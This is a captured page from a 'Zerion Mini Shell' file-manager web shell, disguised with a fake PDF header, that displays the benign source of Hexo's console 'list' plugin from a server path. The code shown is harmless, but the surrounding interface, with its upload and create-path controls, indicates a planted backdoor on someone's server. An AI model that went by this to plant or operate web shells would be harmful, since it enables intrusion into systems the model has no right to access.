%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/old/usr/lib/node_modules/hexo/lib/plugins/console/list/
Upload File :
Create Path :
Current File : //data/old/usr/lib/node_modules/hexo/lib/plugins/console/list/index.js

'use strict';

const abbrev = require('abbrev');

const store = {
  page: require('./page'),
  post: require('./post'),
  route: require('./route'),
  tag: require('./tag'),
  category: require('./category')
};

const alias = abbrev(Object.keys(store));

function listConsole(args) {
  const type = args._.shift();

  // Display help message if user didn't input any arguments
  if (!type || !alias[type]) {
    return this.call('help', {_: ['list']});
  }

  return this.load().then(() => Reflect.apply(store[alias[type]], this, [args]));
}

module.exports = listConsole;

Zerion Mini Shell 1.0